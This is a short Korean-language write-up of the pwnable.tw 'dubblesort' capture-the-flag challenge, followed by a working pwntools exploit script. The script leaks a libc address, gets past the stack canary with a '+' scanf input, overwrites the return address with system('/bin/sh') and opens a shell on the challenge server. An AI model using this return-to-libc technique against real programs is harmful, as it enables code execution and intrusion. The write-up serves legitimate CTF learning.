[pwnable.tw]dubblesort

문제는 쉬웠는데 remote offset이랑 local offset이랑 다른거 생각 못해서 너무 삽질했다. 이거때문에 디버깅만 몇 십번 한거같다 ㅎ;

취약점은 원하는 만큼 입력이 가능하기 때문에 터진다. name을 입력받을 때 stack에 있는 값을 leak할 수 있고 Canary를 scanf에서 +,-로 bypass해주고 system("/bin/sh") 로 만들어주면 된다.

exploit.py

from pwn import *

# context.log_level = 'error'
e = ELF('./dubblesort')
# p = process('./dubblesort',aslr=True)
p = remote('chall.pwnable.tw',10101)
libc = ELF('./libc_32.so.6')
# libc = e.libc
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)

sa(':','A'*25)
p.recvuntil('A'*25)
leak = u32('\x00'+p.recv(3))
log.info('leak : {}'.format(hex(leak)))
libc_base = leak - 0x1b0000 # remote
#libc_base = leak - 0x1b2000 # local
log.info('libc_base : {}'.format(hex(libc_base)))

sla(':','35')

for i in range(24):
 	sla(':',str(0xaaaaaaaa))

sla(':','+') # Canary

for i in range(8):
 	sla(':',str(libc_base + libc.symbols['system']))

sla(':',str(libc_base + libc.symbols['system']))

sla(':',str(libc_base + libc.search('/bin/sh\x00').next()))

p.interactive()